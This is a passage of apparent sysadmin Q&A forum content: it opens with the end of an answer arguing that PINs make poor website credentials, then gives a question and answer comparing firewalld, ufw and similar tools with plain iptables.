requirements (Note, a PIN will fail pretty much every one of these)
I  am not aware of any large websites using them.  The only place
PINS    are really used is on mobile phones, and they are a different
use    case all together.

The bottom line:  The proposed solution is going to cost money to provide no benefit, and will weaken your security and potentially leave the company liable to a lawsuit.


ufw, system-config-firewall-tui, or firewalld vs iptables Is there any advantage (other than usability) to using ufw, system-config-firewall-tui, or firewalld rather than just using iptables?

My understanding is that these other programs just simplify iptables.

It has more to do with the management systems around iptables that each provides. Firewalld, specifically, was designed to make dynamic loading feasible.  With the old shell-script based iptables tools, if you wanted to make a change you would have to 'restart' iptables which involved taking down all the firewall state and bringing it back up again.  Depending on configuration, you could lose connections, tracking state, etc.

Firewalld lets you add entries on-the-fly and avoids these problems.  It also allows applications to interface with the firewall with a defined protocol, which makes it more usable for many people and allows packagers to help out the user.

It's also a bit of a pain in the neck for an admin who is used to just editing a text file.  The features are a trade-off for ease-of-use at this point.  One expects future improvements here.